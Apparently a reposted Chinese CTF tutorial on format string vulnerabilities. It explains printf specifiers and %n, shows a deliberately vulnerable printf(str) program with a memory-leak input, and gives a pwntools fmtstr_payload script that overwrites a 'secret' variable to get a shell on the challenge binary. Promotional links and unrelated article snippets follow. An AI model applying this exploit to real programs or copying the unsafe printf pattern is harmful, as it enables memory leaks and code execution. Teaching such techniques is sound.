CTF| 格式化字符串漏洞

格式化字符串漏洞是PWN題常見的考察點,僅次于棧溢出漏洞。漏洞原因:程序使用了格式化字符串作為參數,并且格式化字符串為用戶可控。其中觸發格式化字符串漏洞函數主要是printfsprintffprintfprin等C庫中print家族的函數

?

0x01 格式化字符串介紹

printf("格式化字符串",參數...)

printf函數的第一個參數是由格式化說明符與字符串組成,用來規定參數用什么格式輸出內容。

格式化說明符:

%d - 十進制 - 輸出十進制整數
%s - 字符串 - 從內存中讀取字符串
%x - 十六進制 - 輸出十六進制數
%c - 字符 - 輸出字符
%p - 指針 - 指針地址
%n - 到目前為止所寫的字符數

例如:

#include <stdio.h>
int main(void){printf("My name is %s","Ezreal");return 0;
}

調用以后會顯示:

My name is Ezreal

特別要注意的是%n這個格式化字符串,它的功能是將%n之前打印出來的字符個數,賦值給一個變量。例如:

#include <stdio.h>int main(void)
{int c = 0; printf("the use of %n", &c);sssprintf("%d\n", c);return 0;
}

調用以后會顯示:

the use of 11

0x02 漏洞形成原因

1、函數用法:

正常的printf用法:

#include <stdio.h>
int main()
{char str[100];scanf("%s",str);printf("%s",str);return 0;
}

寫程序時要規定字符串的格式化說明符,規定參數的輸出類型

錯誤的printf寫法:

#include <stdio.h>
int main()
{char str[100];scanf("%s",str);printf(str);return 0;
}

漏洞形成原因:程序將格式化字符串的輸入權交給用戶,printf函數并不知道參數個數,它的內部有個指針,用來索檢格式化字符串。對于特定類型%,就去取相應參數的值,直到索檢到格式化字符串結束。所以沒有參數,代碼也會將format string 后面的內存當做參數以16進制輸出。這樣就會造成內存泄露。示例程序:

#include <stdio.h>int main(void)
{char a[100];scanf("%s",a);printf(a);return 0;
}

假設我們的輸入為:

AAAA%x,%x,%x,%x,%x,%x,%x,%x,%x,%x,%x

程序的輸出為:

AAAA61fe4c,61ffcc,76e4d250,70734fbf,fffffffe,76e473da,41414141,252c7825,78252c78,2c78252c,252c7825

成功打印出地址

0x03 解題步驟

步驟.webp.jpg

1 、逆向工程:

將PWN題拖入IDA,點擊程序入口函數。按F5逆向main函數,查看對應的C偽代碼。

找到關鍵代碼:

關鍵.webp.jpg

2 、分析代碼:

方法一:直接分析源碼主函數main使用了printf函數并使用了格式化字符串

int __cdecl main(int argc, const char **argv, const char **envp)
{char s; // [esp+1Ch] [ebp-8Ch]unsigned int v5; // [esp+9Ch] [ebp-Ch]v5 = __readgsdword(0x14u);memset(&s, 0, 0x80u);fgets(&s, 128, stdin);printf(&s);if ( secret == 192 )give_shell();elseprintf("Sorry, secret = %d\n", secret);return 0;
}

方法二:使用漏洞檢測插件推薦一個簡單IDA插件LazyIDA,將它放在IDA路徑下的plugins目錄。這時可以用IDA打開題目,右擊就可以看到一個Scan format string vulnerabilities查詢格式化字符串漏洞。

漏洞.webp.jpg

查詢到漏洞:

查詢.webp.jpg

總結:找到格式化字符串漏洞,發現關鍵代碼如下:

  if ( secret == 192 )give_shell();else

思路:當secret值為?192執行give_shell()函數,即利格式化字符串漏洞將secret值改為?192就能拿到shell

0x04 漏洞利用

用IDA查看secret地址為0x0804A048

查找格式化字符串距離:

編寫利用腳本如下:

from pwn import *
io = process('./format')
payload = fmtstr_payload(11,{0x0804A048:0xC0})
io.sendline(payload)
io.interactive()

成功拿到shell:

she.webp.jpg

網絡安全學習資源分享:

給大家分享一份全套的網絡安全學習資料,給那些想學習 網絡安全的小伙伴們一點幫助!

對于從來沒有接觸過網絡安全的同學,我們幫你準備了詳細的學習成長路線圖。可以說是最科學最系統的學習路線,大家跟著這個大的方向學習準沒問題。

因篇幅有限,僅展示部分資料,朋友們如果有需要全套《網絡安全入門+進階學習資源包》,需要點擊下方鏈接即可前往獲取

CSDN大禮包:《網絡安全入門&進階學習資源包》免費分享(安全鏈接,放心點擊)

同時每個成長路線對應的板塊都有配套的視頻提供:?

大廠面試題

視頻配套資料&國內外網安書籍、文檔

當然除了有配套的視頻,同時也為大家整理了各種文檔和書籍資料

所有資料共282G,朋友們如果有需要全套《網絡安全入門+進階學習資源包》,可以掃描下方二維碼或鏈接免費領取~?

?讀者福利 |?CSDN大禮包:《網絡安全入門&進階學習資源包》免費分享(安全鏈接,放心點擊)

特別聲明:

此教程為純技術分享!本教程的目的決不是為那些懷有不良動機的人提供及技術支持!也不承擔因為技術被濫用所產生的連帶責任!本教程的目的在于最大限度地喚醒大家對網絡安全的重視,并采取相應的安全措施,從而減少由網絡安全而帶來的經濟損失。

本文來自互聯網用戶投稿,該文觀點僅代表作者本人,不代表本站立場。本站僅提供信息存儲空間服務,不擁有所有權,不承擔相關法律責任。
如若轉載,請注明出處:http://www.pswp.cn/bicheng/18189.shtml
繁體地址,請注明出處:http://hk.pswp.cn/bicheng/18189.shtml
英文地址,請注明出處:http://en.pswp.cn/bicheng/18189.shtml

如若內容造成侵權/違法違規/事實不符,請聯系多彩編程網進行投訴反饋email:809451989@qq.com,一經查實,立即刪除!

相關文章

雙非二本找工作前的準備day28

學習目標&#xff1a; 每天復習代碼隨想錄上的題目2-3道算法&#xff08;時間充足可以繼續&#xff09; 今日碎碎念&#xff1a; 1&#xff09;進入貪心與dp專題&#xff0c;過完準備二刷&#xff0c;以及刷劍指offer。 2&#xff09;這兩天沒更新是休息一下&#xff0c;然后…

如何深入理解、應用及擴展 Twemproxy?no.15

Twemproxy 架構及應用 Twemproxy 是 Twitter 的一個開源架構&#xff0c;它是一個分片資源訪問的代理組件。如下圖所示&#xff0c;它可以封裝資源池的分布及 hash 規則&#xff0c;解決后端部分節點異常后的探測和重連問題&#xff0c;讓 client 訪問盡可能簡單&#xff0c;同…

C語言之宏詳解(超級詳細!)

目錄 一、用宏前須知-#define相關知識 大致結構&#xff1a; 對預定義符號的補充&#xff1a; 二、用#define定義宏 什么是宏&#xff1f; #define的替換規則&#xff1a; 三、常用的宏定義 1、宏定義常量 2、定義一個宏語句 3、宏定義函數 宏與函數的對比&#xff1a; …

29【PS 作圖】宮燈 夜景轉換

夜景轉化 1 原圖 2 選中要變換的圖層,然后點擊“顏色查找” 再3DLUT文件中,選擇moonlight.3DL,可以快速把圖層變成偏夜景的顏色 結果如下: 3 選擇“曲線” 把曲線 右邊往上調【亮的更亮】,左邊往下調【暗的更暗】 4 添加燈光 新建一個圖層

前端面試題大合集8----性能優化篇

一、哪些方法可以提升網站前端性能 1、Http請求優化 主要分為減少Http請求次數&#xff0c;減小請求數據量和緩存三方面。 減少Http請求次數&#xff0c;可以通過以下方法實現&#xff1a; 合并js、css文件&#xff1b;使用css-spirites技術合并圖片&#xff1b;壓縮圖片大…

HTML+CSS+JS簡易計算器

HTMLCSSJS簡易計算器 index.html <!DOCTYPE html> <html lang"en"><head><meta charset"UTF-8"><meta name"viewport" content"widthdevice-width, initial-scale1.0"><title>簡易計算器</t…

AAA實驗配置

一、實驗目的 掌握AAA本地認證的配置方法 掌握AAA本地授權的配置方法 掌握AAA維護的方法 1.搭建實驗拓撲圖 2.完成基礎配置&#xff1a; 3.使用ping命令測試兩臺設備的連通性&#xff1a; 二、配置AAA 1.打開R1&#xff1a;配置AAA方案 這兩個方框內的可以改名&#xff0c…

百度頁面奔跑的白熊html、css

一、相關知識-動畫 1.基本使用&#xff1a;先定義再調用 2. 調用動畫 用keyframes定義動畫&#xff08;類似定義類選擇器&#xff09; keyframes動畫名稱{ 0%{ width:100px&#xff1b; } 100%{ width:200px; } } 使用動畫 div { width:200px; height:200px; background-…

前端面試題日常練-day28 【面試題】

題目 希望這些選擇題能夠幫助您進行前端面試的準備&#xff0c;答案在文末。 1. 在Vue中&#xff0c;以下哪個選項用于監聽組件生命周期鉤子函數&#xff1f; a) watch b) computed c) lifecycle d) created 2. 在Vue中&#xff0c;以下哪個選項用于在列表渲染時為每個元素…

Pytorch線性模型(Linear Model)

基本步驟 ①首先準備好數據集&#xff08;DataSet&#xff09; ②模型的選擇或者設計&#xff08;Model&#xff09; ③進行訓練&#xff08;Train&#xff09;大部分模型都需要訓練&#xff0c;有些不需要。這一步后我們會確定不同特征的權重 ④推理&#xff08;inferring…

開封旅游三天兩夜旅游攻略

開封是一座歷史悠久的城市&#xff0c;有著豐富的文化遺產和美食。以下是一個三天兩夜的開封旅游攻略&#xff0c;供你參考&#xff1a; 一、行程安排 第一天&#xff1a; 上午&#xff1a;抵達開封&#xff0c;前往酒店辦理入住手續。隨后參觀開封博物館&#xff0c;了解開封…

【Python安全攻防】【網絡安全】一、常見被動信息搜集手段

一、IP查詢 原理&#xff1a;通過目標URL查詢目標的IP地址。 所需庫&#xff1a;socket Python代碼示例&#xff1a; import socketip socket.gethostbyname(www.163.com) print(ip)上述代碼中&#xff0c;使用gethostbyname函數。該函數位于Python內置的socket庫中&#xf…

廣場舞團|基于SprinBoot+vue的廣場舞團系統(源碼+數據庫+文檔)

廣場舞團系統 目錄 基于SprinBootvue的廣場舞團系統 一、前言 二、系統設計 三、系統功能設計 1 系統功能模塊 2 后臺登錄模塊 5.2.1管理員功能模塊 5.2.2社團功能模塊 5.2.3用戶功能模塊 四、數據庫設計 五、核心代碼 六、論文參考 七、最新計算機畢設選題推…

Pytorch-06 使用GPU加速計算

要在PyTorch中使用GPU加速計算&#xff0c;需要將模型和數據移動到GPU上進行處理。以下是上一節演示修改后的示例代碼&#xff0c;展示了如何在訓練過程中利用GPU加速計算&#xff1a; import torch import torch.nn as nn import torch.optim as optim import time# 檢查GPU是…

2024-05-28 問AI: 在深度學習中,什么是反向隨機失活?

文心一言 在深度學習中&#xff0c;反向隨機失活&#xff08;Inverse Randomized Elimination&#xff0c;通常稱為Dropout&#xff09;是一種在訓練深度神經網絡時常用的正則化技術&#xff0c;用于防止過擬合。該技術通過隨機將神經網絡中的一部分神經元“失活”或“丟棄”來…

深度剖析:為什么 Spring 和 IDEA 都不推薦使用 @Autowired 注解

目錄 依賴注入簡介 Autowired 注解的優缺點 Spring 和 IDEA 不推薦使用 Autowired 的原因 構造器注入的優勢 Autowired 注解的局限性 可讀性和可測試性的問題 推薦的替代方案 構造器注入 Setter 注入 Java Config Bean 注解 項目示例&#xff1a;Autowired vs 構造器…

Android 項目Gradle文件講解(Groovy和Kotlin)

Android 項目Gradle文件講解&#xff08;Groovy和Kotlin&#xff09; 前言正文一、Gradle的作用二、Gradle的種類① 工程build.gradle② 項目build.gradle③ settings.gradle④ gradle.properties⑤ gradle-wrapper.properties⑥ local.properties 三、Groovy和Kotlin的語言對比…

裝飾模式:雞腿堡

文章目錄 UML類圖目錄結構Humburger.javaChickenBurger.javaCondiment.javaChuilli.javaLettuce.javaTest.java深度理解test怎么寫 UML類圖 目錄結構 我們從指向最多的開始寫 Humburger.java package zsms;public abstract class Humburger {protected String name;public S…

【接口自動化_05課_Pytest接口自動化簡單封裝與Logging應用】

一、關鍵字驅動--設計框架的常用的思路 封裝的作用&#xff1a;在編程中&#xff0c;封裝一個方法&#xff08;函數&#xff09;主要有以下幾個作用&#xff1a;1. **代碼重用**&#xff1a;通過封裝重復使用的代碼到一個方法中&#xff0c;你可以在多個地方調用這個方法而不是…

C++貪心算法(3)

整數區間 #include<bits/stdc.h> using namespace std; int main() {int n;cin>>n;int a[110][10]{0};for(int i0;i<n;i){cin>>a[i][1]>>a[i][2];}int cnt[110]{0};int mi99999;int mii-1;bool f[110]{false,false,false,false,false,false,false,…